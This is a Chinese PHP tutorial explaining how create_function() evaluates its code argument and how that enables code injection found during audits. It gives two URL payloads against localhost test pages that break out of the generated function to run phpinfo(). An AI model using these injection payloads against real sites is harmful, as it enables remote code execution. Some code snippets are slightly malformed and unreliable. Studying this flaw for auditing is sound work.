IT俱乐部 PHP PHP create_function()函数应用实例详解

PHP create_function()函数应用实例详解

前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7

语法:
create_function(string $args,  string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

函数功能

分析:

create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例

0x01

payload:

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

$sort_by 是我们传入的值。

回车换行整理一下:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

0x02

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

换行整理:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }

到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索IT俱乐部以前的文章或继续浏览下面的相关文章希望大家以后多多支持IT俱乐部!

本文收集自网络,不代表IT俱乐部立场,转载请注明出处。https://www.2it.club/code/php/1424.html
上一篇
下一篇
联系我们

联系我们

在线咨询: QQ交谈

邮箱: 1120393934@qq.com

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

返回顶部